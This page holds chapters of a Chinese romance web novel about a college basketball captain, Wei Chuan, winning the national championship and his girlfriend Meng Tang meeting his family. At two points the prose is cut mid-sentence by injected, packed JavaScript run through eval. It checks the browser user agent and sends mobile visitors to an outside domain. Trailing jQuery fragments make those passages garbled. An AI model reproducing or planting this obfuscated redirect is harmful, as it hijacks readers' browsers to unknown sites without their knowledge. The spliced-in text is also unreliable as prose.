第三节比赛正式开始,双方球员紧绷地回到场上。 两方站定,势均力敌的画面感扑面而来。 第一回合电科大全场紧逼,感觉已经被逼到了 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女生似乎察觉到她的视线,笑道:“你也想喊?” 孟棠赶紧摇头:“没有。” “有什么不好意思的。”女生抵了抵她,“咱们在这儿谁听得见啊,离球场那么远,最起码三十米,恐高的都不敢坐这儿。” 孟棠笑了笑,委婉拒绝了。 第四节决战时刻的到来让旁边的女生闭了嘴。 一开场,双方几乎扑在一起,电科大更是几次犯规,当然,不是故意的。 是在抢断中阻止魏川他们接球时太急切导致的。 两罚全中,分数再次拉开。 电科大的教练一直在场外指挥,比分在两分钟内又追了点上去。 最后小半截时,电科大的体力明显不如前三场。 魏川面对三人包夹,一个背后运球加后撤步晃开防守,干拔了三分。 “好球。”解说员言简意赅。 孟棠手指头都捏白了。 这么高的地方,根本看不到魏川,只有一道模糊的影子。 大屏切到她才能看到,刚才那一幕,被她稳稳捕捉。 最后一段末节,即便电科大猛攻突破,也追不回比分。 时间还剩3.8秒时,魏川远投了一个三分。 全程沸腾。 解说员和全场观众激动地站了起来:“终场哨响!86比80!恭喜z大杀入总决赛!在此也期待电科大的季军赛。” z大的替补一窝蜂冲上场,将魏川他们团团围住。 大屏切在他们身上,魏川突然抬头,朝远处望了眼。 孟棠一惊,有一种他发现自己的错觉。 可这里太远,肉眼绝对难以看到。 魏川碰了碰跟随的球队经理:“哥,帮我找下播音组,我找个人。” 对方比了“OK”的手势:“明白,你上场前就说过了。” 队长签字比分后会有媒体采访。 这会儿的观众已经往外撤了,但人多,撤得慢。 孟棠刚站起身,广播里一则通知传遍场馆: “请山顶区的孟棠小姐到场下来一趟,您的男朋友魏川托我们转达,采访前想见你一面。” 第148章 你别拿出来 孟棠完全愣住了,其他观众也愣了。 一听说是魏川的女朋友,全都走不动道了,其中,女生居多。 “**,魏川女朋友来了?”孟棠旁边的女生惊讶道,“可她为什么要买山顶区的票,生怕魏川找不到她吗?” 有人说:“可能是给一个惊喜吧。” 孟棠:“……” 她没想给惊喜,最后这则广播倒成了她的惊吓。 广播又重复了两遍,孟棠只能硬着头皮往下走。 之前的分区赛,规模没有这个大,魏川抱她时挡住了镜头。 今天她要是过去,相当于在全国人民面前公开了恋情。 可女球迷一口一个“老公”,她心脏也直呼受不了。 越想,孟棠的脚步越坚定。 她努力忽视周遭的一切视线去寻找魏川。 等她快到前场时,魏川发现了她,他推开还在庆祝胜利的队友,绕过前方的栏杆进了通道口。 现场导播也是会的,魏川作为cubal历史上颜值最顶的球员之一,镜头也是格外偏爱他。 而且现阶段,他是cubal粉丝数最多的一个球员,可以起到最好的宣传作用。 而且导播比赛前就收到了纸条,让镜头多切魏川,因为赞助商喜欢。 赞助商之一也姓魏,叫魏立峰。 魏川的眼里根本看不到其他人,还隔着三四个台阶,他就朝孟棠伸出了手: “我说你是傻子,怎么买了山顶票?” 孟棠笑了声,握住她的手:“我临时决定过来的。” 现场沸腾了,全都在起哄。 原本坐在孟棠旁边的女孩彻底愣了,她到底做了什么? 当着人家女朋友的面叫了人家男朋友老公? 天呐!来道雷劈了她吧,她已经尴尬到不想活啦。 魏川脸皮厚,朝着左右两边“嘘”了声:“她害羞,都别闹啊。” “咦……” 魏川不理会他们,将孟棠带到最前排的位置坐下,自己站在一旁,弯着腰说: “我还要采访,采访完有个赛后发布会,大概半小时,明天开始我就没比赛了,直到总决赛,所以今晚有两个小时的自由活动时间,辛苦你在这儿等一下?” 孟棠点了点头:“好。” 魏川揉了揉她的头,转头去了媒体混采区。 采访一般都是常规数据问题,比如第几节得的关键球,当时教练布置的什么战术。 对方的某某球,又是如何进行调整和阻挡的。 至于数据类,一般都是怎么评价自己今天的表现。 其实这种回答是有模板的,胜利要谦逊一番,至于失误的点要回去看录像复盘。 最后顺道评价一下对手,讲述一下未来的规划,比如有没有考虑参加CBA的选秀。 诸如此类,魏川一一回答,只是垂在两侧的手时不时握个拳,显得很急。 “最后呢,我们问个私人的问题吧,可以吗?魏川。” 魏川一心想着孟棠,心不在焉点了点头。 “今天有亲密的人来到现场吗?” 身边几个队友“扑哧”一声全都笑了,随后又想起在采访,扭头憋着。 魏川:“……” 真是明知故问啊。 “有。”他无奈地说,“我女朋友过来了。” “我们刚才看到她从山顶区过来,能不能问一下她怎么没在内场看你比赛?” 魏川笑道:“其实我也是今天刚知道的,上午朋友跟我说她过来了,我上场的时候没看见她,就请广播找了一下。” “至于她怎么在山顶区,肯定是因为不想打扰我,她来看我比赛的事是临时决定的,因为我们约好了决赛见,我也没想到她这么早过来。” 私人感情,两个问题也差不多了,魏川结束了采访。 魏川一直忙到晚上七点才收拾好自己。 孟棠还在乖乖等着,看见他时,起身走过去,抬手去摸他的短发:“你怎么头发也不吹干?” 魏川抓住她的手指,说:“怕你等急了,随便冲了个澡,走,吃饭去。” 孟棠回头看了眼,没看到他的队友,问:“真的可以走了?” 魏川失笑:“可以啊,九点回酒店就行,你住哪儿?” 孟棠说:“就在你们酒店隔壁。” “那还挺近。”魏川高兴了,“这样能省点时间。” 酒店就在比赛场馆附近,十分钟的车程,孟棠知道他就算没有比赛,也要复盘训练,便道: “就在酒店附近随便找个地方吃一口吧,我有点累了,吃完想回去休息。” “行。”魏川说,“酒店后面就有一条街,不少餐厅,你想吃什么?” 孟棠摇摇头:“我没来过这里,随便选一家吧。” 两人打了车,直奔酒店后街。 最后进了一家比较复古的店,不算高大上,但人挺多的。 魏川点了两份鲜虾云吞面,一份干炒牛河和酥皮叉烧包。 他还顺道给孟棠点了一份杨枝甘露。 等了没多久,餐食很快被送上来。 杨枝甘露泛着金黄细碎的微光,上面点缀着一小簇挂着水珠的薄荷叶。 孟棠捏住勺子,刚要去吃,手腕被魏川抓住了。 她望过去,一脸“你什么意思”的表情,点了又不让吃? “这个凉,等一等,把云吞面先吃完。”魏川将碗推到她跟前。 孟棠的目光移不动,跟他讨价还价:“先吃一口,就一口。” 魏川摇了摇头,语气却很温和,哄小孩似的:“不是不让你吃,太冰了,稍微等一下,行吗?” 语气太过温柔,孟棠拒绝不了,只好转头去吃云吞面。 这孩子不犟,魏川笑了笑,也低头吃饭。 二十来分钟,孟棠吃完了云吞面,挖了一口杨枝甘露。 浓郁的芒果香裹挟着颗颗分明的西柚粒,酸甜适中,西米也QQ弹弹。 最后一抹薄荷的清凉像魏川身上的味道。 孟棠笑了笑,挖了一勺送去对面:“你也吃一口。” 魏川躲开她:“我不吃这个,你自己吃。” “一口而已,很好吃。”孟棠眨巴着眼看他。 魏川投降了,低头吃了一口,他点点头:“确实还可以。” 孟棠看见他细微地皱了眉心,就知道他确实不喜欢,没再强迫他,自己小口小口慢慢吃着。 魏川吃完饭,看了眼手机,快八点了。 孟棠还在慢悠悠吃着甜点,他靠在椅背上,就那么看着她。 孟棠终于后知后觉地抬起了头:“怎么了?” “七点五十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009022|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”魏川说。 “七点五十怎么了?”孟棠没太理解。 魏川幽幽道:“我九点要回去复盘。” 孟棠以为自己耽误了他时间,说:“其实你也可以先走,我自己一个人可以回酒店的。” 魏川叹了声气:“我的意思是……你赶紧吃,吃完我们回酒店。” 至于回酒店干什么,他没说,但孟棠看出来了。 他的眼神烧着一把明晃晃的火。 孟棠一下子哑了,还能再明显一点吗? 她垂眸扯了下嘴角,故意吃得很慢。 魏川被她逗笑,起身越过桌子坐到她旁边,随后从她手中抢过了勺子。 “你干嘛?”孟棠去抢,被甜品碗冰到的手指贴上了魏川的手背。 魏川一把抓住她的手,帮她捂了会儿。 孟棠心里泛甜,朝他笑了笑。 魏川挖了一勺甜点喂她:“快吃。” 孟棠吃了后摇了摇头:“有点吃不下了。” 她的唇角沾了点芒果酱,魏川抬手抹去,送至唇边抿了口。 孟棠看呆了:“你干嘛?” 魏川扔下勺子,拉着她起身:“回酒店。” 孟棠无语地拍了他一下,到底在急什么。 出了餐厅,魏川忽然放慢了步子。 孟棠还没弄明白,就被他拉进了一家24小时的便利店。 “还要不要吃什么?”魏川转头问她。 孟棠摇了摇头:“刚吃完饭,还吃什么?” 魏川直奔收银台,孟棠见他伸手拿了一盒东西,整个人呆若木鸡,怎么那么像安全套? 魏川结了账,将东西塞进包里,对孟棠笑了笑:“走吧。” 孟棠僵硬地走了一会儿,侧眸小心翼翼地试探:“你买了什么?” 魏川不自在地清了清嗓子:“没买什么,你上楼就知道了。” 酒店就在前面几百米远的地方,孟棠忽然扒着街道的挂满彩灯的树,说: “要不,咱们再逛逛?” “逛什么啊。”魏川每一分每一秒都在感受着时间的流逝,外面都是人,他只想和孟棠安静地待几分钟,“赶紧的,都八点了,一个小时的时间都不够。” “咳咳……”孟棠脸色煞白,被自己的口水呛到了。 一个小时都不够? “怎么了?”魏川上前搂住她,温柔地在她后背拍了拍,“好点没有。” 孟棠僵硬着身体和他拉开距离。 魏川一头雾水地跟上去,又搂住了她:“怎么了?” 孟棠摇摇头,不知道该怎么说。 他俩现在是正儿八经的男女朋友,她理解魏川有生理需求,但会不会太快了? 她还没有做好准备啊。 片刻的工夫,两人回到了酒店。 从大堂到房间的这段路,孟棠的脑袋一直是空的。 刷了卡,开了门,孟棠腰间忽然一紧,然后整个人被压在门板后。 “你要干什么?”孟棠心慌地问。 魏川去摸口袋里买的东西,孟棠更慌了,抬手握住他手腕:“你别拿出来。” 她错了,她就不该来看他的比赛。 魏川晃了下手腕:“松开。” “我不松。”孟棠都快哭了,“你要干嘛?我还没有做好准备。” 魏川一愣:“什么准备?” 第149章 不要脸 房间里安静了一瞬,孟棠仰起头,对魏川说:“别以为我不知道你买了什么。” 魏川轻笑了声:“知道你还不让我拿出来。” “你——”孟棠羞臊得满脸通红,“不要脸。” 魏川:“……不要脸?我买个糖而已,怎么不要脸了?” “……”孟棠一愣,“买的什么?” “糖啊。”魏川从口袋里拿出来,撕了包装盒,拆开后拿了一颗塞进了孟棠口中,随后给自己也拿了一颗。 孟棠含着糖彻底呆了,原来是她想岔了。 她垂眸拉住魏川的手,仔细看了眼糖盒,什么令人混淆,头皮发麻的设计。 魏川松开她,双手插兜,痞里痞气地歪头对孟棠笑了声:“你觉得我买的是什么?” 孟棠嗦了口嘴里的糖,甜滋滋的,她装作没有听见魏川的询问,说:“草莓味的,很甜。” 魏川哼笑一声上前,脸上的表情带着三分玩味。 他弯下腰,歪着头看向孟棠:“说啊,你觉得我买的什么?” 孟棠哪里说得出口,推开他往里走。 魏川余光和身体一道跟着转过去,腮帮一紧,咬碎了嘴里的硬糖。 咔滋咔滋了十来秒,孟棠刚要坐下,被魏川从身后扯住手腕,一把扯了过去。 孟棠腮帮子鼓着一块,被他吓了一跳,抬手就是一拳捶在他心口:“糖差一点滑下去。” 魏川拍了拍她的头,动作很轻,既是道歉又是安抚。 他一屁股在床尾坐下,长臂一捞,将孟棠搂了过来。 孟棠这点力气完全不是他的对手,踉跄后跌坐在他腿上。 因为是侧着坐的,孟棠倒也能接受。 魏川拉住她的手腕,环住自己的脖颈。 “你脸很红,很不对劲知道吗?” 孟棠下意识用手背贴了下,磕磕巴巴解释:“刚从外面回来,有点热而已。” “是吗?”魏川倾身往前,“告诉我,把糖看成什么了?” 孟棠社死到没脸,她低头靠上了他肩头,羞愤欲死地说:“别问了。” “脑袋瓜里想的什么?”魏川顺势推了一把她的头,“我就不靠谱到这种程度,还是比赛期间呢,就能对你怎么着了?” 孟棠也觉得自己脑袋缺了根弦。 自从谢泠音跟她说了那事后,她脑子时不时就要过一遍。 魏川亲了下她的头发,笑道:“别不好意思了,赶紧抬起头,我又不会笑你。” “你刚才就在笑我。”孟棠实在不想抬头,她恨不得找个地缝钻进去。 “没笑你别的。”魏川摸了摸她的头,“笑你可爱,起来。” 孟棠抬起了头,目光却没和他接上。 魏川掰过她的脸,说:“咱们才刚开始,不着急。” 孟棠点了点头,社死的情绪缓了一些。 静静拥抱了几分钟,孟棠对着他头顶比了比:“你这么高,怎么坐着也跟我差不多高?” “你怎么不说你坐我腿上呢?”魏川抖了下腿,笑意盈盈地盯着她,“糖好吃吗?” 孟棠点点头:“没有之前的柠檬糖好吃。” 魏川微微仰起头,嘴巴微张,语气轻柔中带着两分诱哄:“你过来一点。” 孟棠往前坐了坐,几乎要到魏川的怀中。 魏川笑了声,抬手揽住她后颈,鼻尖撞上了她的鼻尖。 孟棠往后躲了下,魏川不爽,揽住她的后脑勺亲了上去。 草莓味的糖沾着温热的湿,从这里滑到那里,最后被勾住,去了魏川的口中。 他的眼睛半睁半合,一边吻还一边观察孟棠的反应,结果只能看到孟棠长而浓密的睫毛。 魏川箍着孟棠的腰,迫使她整个人贴上自己的胸膛。 夏天衣服薄,魏川一僵,停了亲吻。 孟棠气喘吁吁地看着他,手臂虚虚搭在他后颈,面色樱红,如三月桃花。 魏川咬了下后槽牙,埋进孟棠的颈窝,孟棠吓得往后缩,本以为他要咬自己,侧颈忽然一麻,没想到,他只是亲了亲。 太亲密了,孟棠一时有些不习惯,刚想躲,魏川已经松开了她。 他也怕把人吓着。 沉默片刻,魏川抱紧孟棠的腰,说:“你什么时候去首都?” 孟棠说:“泠音昨天晚上给我打电话,约的19号。” 魏川“嗯”了声:“待会儿给你转点钱,你好好玩,明天还有一场半决赛,我们虽然赢了,但需要到场观赛,大概也是19号去首都备战总决赛。” “别给我转钱了。”孟棠往后,和他拉开一点距离,“我有。” “老头给的吧?”魏川刮了下她的鼻子,“他又不让你大学出活,你自己肯定赚不来钱。” 孟棠点点头:“比不上你家,但也不缺什么。” 魏川捏了下她的脸:“给你就拿着,哪个男生谈恋爱不花钱,我们那栋楼多的是吃泡面给女朋友买东西的。” 孟棠也捏他的脸:“你是不是就想把缺少的陪伴化作金钱给我?” “怎么能这么想?”魏川失笑,“只是希望你看上什么,想买就买。” 孟棠搂住他的脖颈,小声说:“你真的很好。” 魏川十分享受她的拥抱,拍了拍她的后背,说:“我只对你好。” 越是肯定的话,越让孟棠有一种不真实感。 她想问一问:“你能对我好多久?” 但作罢了。 这样的问话毫无意义,一个人对另一个人的好,没有标准答案作为参考。 当下魏川对她怎么样,她心里有数,也心怀感激。 时间一分一秒过去,魏川拍了拍孟棠:“我得走了。” 孟棠松开他,说:“比赛顺利。” 魏川顺了顺孟棠的头发,有点不舍:“那就23号见了。” “嗯。”孟棠起身,拉了他一把,“我送你去楼下。” “送到门口就行。”魏川说,“酒店就在隔壁,我要你送什么。” 两人走到门口,孟棠开了门,动作有些慢,显然也有些不舍。 不过还有几天的时间就能结束比赛,到时候有一个暑假的时间腻歪。 想到这里,孟棠心里莫名有些期待。 孟棠拔了房卡,说:“我送你到电梯口。” “行。” 电梯口这会儿也没人,几步路就到了。 魏川按了按键,搂着孟棠耐心地等着。 电梯门开,魏川叹了声气:“走了。” 等他进了电 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魏川刚才怎么没跟她说,孟棠有些不好意思:“会不会太麻烦了?” 魏思嘉说:“不麻烦,到时候也有人去接你们,待会儿有人联系你。” 人家都安排到位了,孟棠也不能不识好歹,说:“谢谢嘉嘉姐。” 魏思嘉:“嗯,玩得开心,23号见。” “好。” 直至对面挂了电话,孟棠才松了口气。 她将文心予和谢泠音拉进了群里,编辑了一条信息:【把你们二位的男朋友也拉进来,我有事说。】 文心予和谢泠音二话没说将李卓和许鹤清拉了进来。 孟棠:【魏川的姐姐说我们19号去首都住她的房子,你们去吗?】 文心予:【大别墅啊?】 孟棠:【应该是,还说下机有人接。】 谢泠音:【我闺闺嫁进豪门了,一人得道鸡犬飞升。】 孟棠:【你别闹,人家一直邀请,我也不好拒绝。】 许鹤清:【看泠音吧,她去我就去。】 李卓:【我也是,小文你去吗?】 文心予:【去啊,省一笔酒店钱了,哈哈。】 谢泠音:【那就去呗,肯定是魏川安排的呀,啧啧,贴心**。】 孟棠笑了笑,拿了浴巾去洗澡。 19号上午,孟棠从花城飞往首都。 她比谢泠音他们远一些,落地迟了一个小时。 魏思嘉说的人就是管理别墅的人,18号上午联系了孟棠。 接机口有人举着牌子,牌子上写的孟棠的名字,孟棠一眼就看到了。 他们一共五个人,魏思嘉派了两辆车过来。 考虑到孟棠一个人,谢泠音和文心予和她坐了一辆车,另外两个男生坐了后面的车。 全隔断的设计隐私十足,谢泠音朝孟棠笑了笑:“这个魏川对你真的是全心全意啊,看看这服务,人不在身边,全都是他照顾你的痕迹。” 孟棠毫不吝啬地夸奖:“他确实很好。” 好到她从来没有奢望过能在大学里遇到这么一个人。 一个坦荡的、可爱的、热情的男生。 第150章 总冠军 魏思嘉的别墅是法式风格,有一种优雅与历史并存的丰富感。 这幢别墅,魏思嘉每次来首都出差都住这里。 管家将几个人安排下去,亲自引领着孟棠去了二楼的房间。 “少爷以前就住这个房间,大小姐交代让您住这边。” 孟棠一愣:“魏川?” 管家:“对,少爷初中三年在这里读书的,后来老太太总是念叨,又回了z市。” 孟棠视线扫过去,确实装修风格不太一样。 “您先休息。” 孟棠微微颔首,进了卧室。 阳光斜洒,在窗边的矮柜上折射出刺眼的光线。 孟棠被上面的一本皮质相册吸引了注意力。 这是魏川住过的房间,装修也没变化,所以这本相册是他的吗? 孟棠压住皮面,翻开了一页。 青涩又熟悉的面孔映入眼底,是穿着校服的魏川。 孟棠看了眼时间,是初三的时候。 那会儿没有现在壮实,看着却不矮,眉眼飞扬,浑身朝气,笑起来依旧甜**不偿命。 孟棠看了许久,又往后翻了翻,倒是没想到魏川还挺爱拍照。 孟棠拿出手机,随手拍了两张,保存了下来。 翌日,孟棠和谢泠音等人去了国家博物馆。 他们美术生,到一个城市的第一站都是博物馆,他们逛了一天都没逛完。 之后的两三天,每天都两万起步,孟棠腿酸到抬不起来。 23号下午,管家派车将他们送到了可以容纳18000人的体育中心。 今晚,z大和b大将会进行一场史诗级的对决。 因为z大在近几年的历史成绩中,从没踏进过决赛圈。 交手肯定是交过手的,不过都是以前的球员,这是魏川第一次和b大男篮交手。 b大是传统豪门,球员也一等一的厉害,战术体系更是成熟,战胜率超80%,数次夺得全国总冠军,赛队的风格也比较强硬。 魏川光是想想要和他们交手,全身细胞兴奋得像鼓点,噼里啪啦在他体内叫嚣。 普通观众进场时间从下午五点半开始,需要检票安检。 正常情况下,大家都要早到排队占据热门位置,六点半之前就能坐满。 现场也会发一些手幅和充气棒。 托魏川的福,孟棠他们在VIP区域,进场不用排队。 这边区域坐的一般是球员的家属和赞助商的代表,魏立峰既是家属又是代表。 而孟棠的位置在前排VIP区,谢泠音他们在后排。 魏思嘉早就被魏川叮嘱过十八遍了,见到人时,笑得比平时温和亲切。 她转头给孟棠介绍了楚茵和魏立峰,孟棠攥着手,面上带着不卑不亢的笑:“叔叔阿姨好。” 楚茵和魏立峰一起应了声,随后打量第一次见到的孟棠。 打量不过三秒,几个人在前排坐下。 孟棠挨着魏思嘉,旁边是空着的位置。 “沅沅马上过来。”魏思嘉微微歪着身体对孟棠说,“她很早就想见见你了。” 孟棠刚要回话,身边压下一抹轻薄的身影。 她仰头看去,愣了愣神,这……简直是女版魏川。 “你就是咱家小川的女朋友啊?” 孟棠站起来,朝她笑了笑。 “你坐啊。”魏思沅坐下,拉了孟棠一把,“你叫我沅沅姐就行。” 孟棠点点头,乖巧地叫了声:“沅沅姐。” 魏思沅笑了声,一把捏住孟棠的脸:“真可爱。” 孟棠:“……” 怎么这姐弟俩都喜欢捏她的脸,魏川喜欢她,说她可爱也就罢了,魏思沅竟然也这样觉得。 明明她的长相跟可爱搭不上边。 “老三。”魏思嘉啧了声,“把你的手放下来。” 魏思沅哼了声,拿出手机说:“加个微信。” “哦,好。”孟棠拿出手机,和她加了微信。 随后,魏思沅举起手机,手臂往后动了动,回头喊:“爸妈,咱们一起拍个照。” 楚茵和魏立峰转过头,一张五人照片映入镜头。 魏思沅嘿嘿一笑:“我给琳琳发过去,让她馋一馋。” 魏思嘉无语:“老二这辈子只对一种东西比较馋,就是枪。” 孟棠被她俩的对话吸引,脑子里浮现一道英姿飒爽的身影。 其实,她对魏川这个二姐十分好奇。 楚茵抵了抵魏立峰,小声嘟囔:“你觉得这小孩怎么样?” 魏立峰点点头:“良配。” 楚茵“啧”了声:“这才第一眼,你就良配了?” 魏立峰说:“好歹做了这么多年生意,看人还是准的,这丫头是温润的木相,通身静气,温厚之质,这种最讨长辈欢心。” 楚茵稍稍前倾,又将孟棠打量了许久。 连她也不得不赞叹一句——不施粉黛也自有暗香。 这种气质,她没在年轻人身上见过,大概还是跟她自小学艺有关。 楚茵笑了笑,对魏立峰说:“除开她那个不知事的爸爸,咱家小川的眼光是还可以啊,气质是真的独特。” 魏立峰想笑,故作稳重地点了点头。 晚上七点整,场馆穹顶的几千组LED灯阵突然熄灭,无边的黑暗如潮水漫过一万八千个座位。 观众的躁动尚未平息,中央大屏骤然亮起血红色倒计时。 “10、9、8..……” 孟棠在黑暗中看不断变形的灯带,知道这是cubal的灯光秀。 全场观众倒数54321,两个队伍的纪录片出现在左右两端的全息投影幕布上,震撼惊人。 播放到七点二十五分,全场再次熄灯。 魏思沅抵了抵孟棠:“以前看过总决赛吗?” 孟棠摇摇头:“魏川他们是不是要上场了?” “嗯。”魏思沅应了声,“接下来MC介绍出场。” 话音刚落,MC的激情声通过环绕音响从四面八方涌来:“现场的观众朋友们,欢迎来到CUBAL全国总决赛的战场!” 现场顿时沸腾了。 “接下来,让我们有情主队……” 主队是b大,一个个球员介绍完,孟棠不自觉挺直了腰背,因为接下来就是魏川的队伍。 “接下来让我们有情z大入场,首先欢迎球队队长,控场魔术师,得分收割机,27号魏川!” 全场声浪爆了,像突然喷发的火山。 魏川漫不经心抬起双手挥了挥,目光落到前排的VIP区域。 四目相对,魏川露出一个又大又甜的笑。 馆内再次沸腾。 孟棠心脏猛烈一跳,有一种在大庭广众之下调情的感觉。 一切就位,哨响,比赛正式开始。 b大中锋凭借216cm的身高轻松拨到球,控卫推进,被魏川贴防,逼得对方提前出球。 b大利用内线高度,连续两次低位单打命中。 魏川借挡拆突破,吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018244|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引包夹后分球,节奏变化后,b大立刻换了联防,导致z大的进攻停滞。 开局三分钟,b大8:6领先两分。 中段时z大调整了节奏,魏川单防49号,抢断后一条龙上篮,b大球员强突犯规,两罚全中,邵一鸣又回敬了一记中投,中段比分至此拉平。 最后两分钟,b大继续突进,配合得当,始终领先z大5分,魏川在最后一秒变向急停,中距离后仰,压哨命中三分,第一节22:20,z大落后两分。 第二节中段,魏川没上。 这种级别的比赛,对于体能要求极高,高强度攻防下,主力球员的有效状态仅能维持半小时左右。 前段和末节他还是追上了b大,但中段时不给力,第二节依旧落后。 中场休息时,魏川缓缓呼出一口气,压力很大。 教练也看出来了,讲战术的时候都温和了不少。 再次上场时,魏川回眸看了眼前排观众席,孟棠一直关注着他,见他看过来,微微歪头,朝他笑了笑。 没有鼓励,没有急躁,什么都没有,只是简简单单的一个笑,平静得像一汪池水。 明眸善睐,比场馆的灯光还要亮眼。 他答应了她,要捧一座总冠军的奖杯。 这个奖杯可能不属于她,但他属于她。 魏川伸手,和队友互相鼓励,气势汹汹上了场。 b大1号持球推进,刚过半场,魏川如影随形,卡住了他的运球路线。 魏川的抢断干净利落,z大来不及回防,让他直闯禁区,单手劈扣。 b大立刻调整,盯防魏川,魏川假动作晃开两米,变向急停,中了三分。 b大强突内线,魏川鬼影似的协防,一记钉板大帽,球直接扇到前场,曹岩快攻上篮再添2分。 比分追回,后半段杀红了眼,z大连续得分,结束时,甚至反超b大2两分。 第三节,魏川全是高光,但也累得不轻。 最后一节首轮,教练没让他上。 替补球员意外的没有落后退,始终咬着比分。 魏川中段再次上场,心中总有一种不详的预感——今晚要加时。 b大进一球,z大紧接着也进一球。 比分始终在2分左右徘徊,可见双方的激烈。 最后一分钟,更是打得热火朝天,最后来了个平手。 解说员:“比赛还没结束,89:89,进入加时。” 然而戏剧性的是,五分钟加时赛,双方还是打了平手。 “99比99!”解说员疯了,“戏剧性一幕来了,比地狱更难熬的双加时!” 连着球员,场内的观众都感受到了这一抹煎熬。 孟棠也只敢在这个时候才露出点担心。 双方体能几乎到了尽头,这是她看过的魏川打的最辛苦的一场比赛。 这也是一场意志力的比赛。 开场魏川干拔三分,b大立刻反击,也进了一个三分。 曹岩从49号手里生断一球,快攻上篮。 最后一分钟,双方进入白刃战。 b大突破抛投,魏川极限封盖。 时间快速飞走,全场屏息。 魏川压低重心,连续胯下运球,躲过防守。 最后一秒,他果断出手,篮球从半空划过一道极高的弧线。 “112:110,双加时史诗级对决!让我们恭喜新科CUBAL总冠军——z大!” 孟棠激动到一下站了起来。 第151章 赛馆拥吻 整座体育馆瞬间被狂潮声浪点燃。 “z大……z大……” “魏川……魏川……” 记分牌闪烁,魏川喘着粗气望过去,如释重负地笑出了声。 观众席的声浪几乎掀翻场馆的穹顶,应援的学生一脚蹬上座位,挥舞着校旗,跟着人群呼喊z大和魏川的名字。 涨红着一张张脸,扯哑了一把把嗓子。 彩带飞舞半空,像一场五颜六色的暴雨。 大屏幕上回放着魏川的关键进球,爆发力惊人的身姿一遍遍映入观众的眼底,连着心脏一起为他狂呼。 球队的人你我不分地抱在一起,魏川胳膊被人扯来扯去,后背又跳上来一名替补球员。 “我们是冠军,我们是冠军……” 魏川被压得动弹不得,教练也冲上来狠狠撸了一把他的头发:“臭小子,好样的。” “操。”魏川在人群里努力拔着脖颈,“放开老子啊,不能呼吸了。” 大家哪里能听他的,几个人一激动,把他扛了起来,满场跑了一圈。 魏川伸手朝最前排的球迷一一击掌,这样的互动不算正式,待会儿完成颁奖和采访后,会有专门的互动区域和球迷们交流。 激烈的情绪终于有所缓解,魏川看向VIP的前排,楚茵朝他喊:“儿子。” 魏川跑过去,隔着栏杆搂住了她,楚茵拍了拍他的背,松开了。 魏立峰笑着拍了拍他的肩膀:“表现不错!” 魏川傻笑了两声,移步过去,抱了下魏思嘉。 主摄像机的镜头一直跟着魏川,魏川看向孟棠,还没说话,魏思沅捏了下魏川的脸:“牛哦。” 魏川拍开她的手,眼眸亮晶晶地盯着孟棠。 孟棠下意识攥紧栏杆,胸腔里的激动似要迸发出来。 “恭——” 孟棠猝然抓紧了栏杆,“喜”字还没出口,后颈一热,她被魏川揽着前倾,和他双唇相抵。 “啊啊啊啊啊………………” 场馆内彻底疯了,大屏幕上只显现出一秒,立刻切了全景。 魏川松开孟棠,笑了声:“等我。” 孟棠点了点头,脑子里空白一片。 魏思沅拉住孟棠的手臂:“坐下吧,马上颁奖了。” 孟棠愣愣坐下。 心跳失序,到现在也没缓过来。 她不明白魏川胆子怎么那么大,在这么多人面前亲她,而且他父母也在场。 孟棠抬眸,将目光再次落到魏川身上。 场边的工作人员给了他一件冠军T恤。 z大的球员们排成一列在场地中央,镜头怼着他们拍。 大屏幕上滚动着比赛的精彩集锦,最终定格在最后一球的三分。 “有请中国大学生体育协会主席XX先生,为冠军队伍颁奖!” 魏川看着西装革履的颁奖嘉宾,下意识挺直了腰背。 这是他第一次拿cubal的总冠军。 奖杯沉甸甸的,到手后魏川和嘉宾握了握手。 冰凉的金属感刺激着他掌心的湿热,他转头看向队友,队友们一窝蜂挤过来,将奖杯高高举过头顶。 金牌落到胸前时,魏川脑袋里是过去一年训练的每分每秒。 努力不负热爱,魏川笑了笑,在彩带喷射而出的一刻迎接了属于他的加冕礼。 合影时,他在中间,终究没抑制住,从喉间吼了声:“冠军!” 其他人跟着他一起喊,热血再次引爆场内,之后他还有个人MVP的意外惊喜。 比赛后还有一系列的收尾工作,魏川没办法和孟棠一起离开。 只能让魏思嘉继续帮他照顾几天,哪知道魏思沅搂住了孟棠的肩膀,说: “公司还有很多事需要大姐,我替你照顾。” 魏川呵笑:“你自己都需要别人照顾你。” “哎呀。”魏思沅推了他一把,“赶紧走吧,我带孟棠回去,就住你的康铂。” 魏川抓住孟棠的手腕,将她往一旁扯了下,说:“我待会儿还有官方的新闻发布会和庆功宴要参加,明天才能回去,后续还有队内总结会和各平台营业这些事,大概三天才能回康铂,之后我们就可以飞香港。” “好,你忙你的。”孟棠往他怀里靠了靠,“我等你。” 魏川快速在她脸上亲了下,摸了摸她的头,转头又跟许鹤清他们说了几句。 孟棠不敢往旁边看一眼,因为楚茵和魏立峰就在不远处。 两人走过来,魏立峰对孟棠说:“让思沅带你回z市吧。” 孟棠颔首:“好。” 楚茵对魏思沅说:“把人照顾好啊,你自己也不小了,别整天疯疯癫癫的。” “知道了。” 一群人回了别墅,吃完饭,孟棠敲了敲谢泠音的房间。 谢泠音开了门。 孟棠问:“你和许鹤清还回去吗?” 谢泠音摇摇头:“采风去了,明天上午的飞机。” 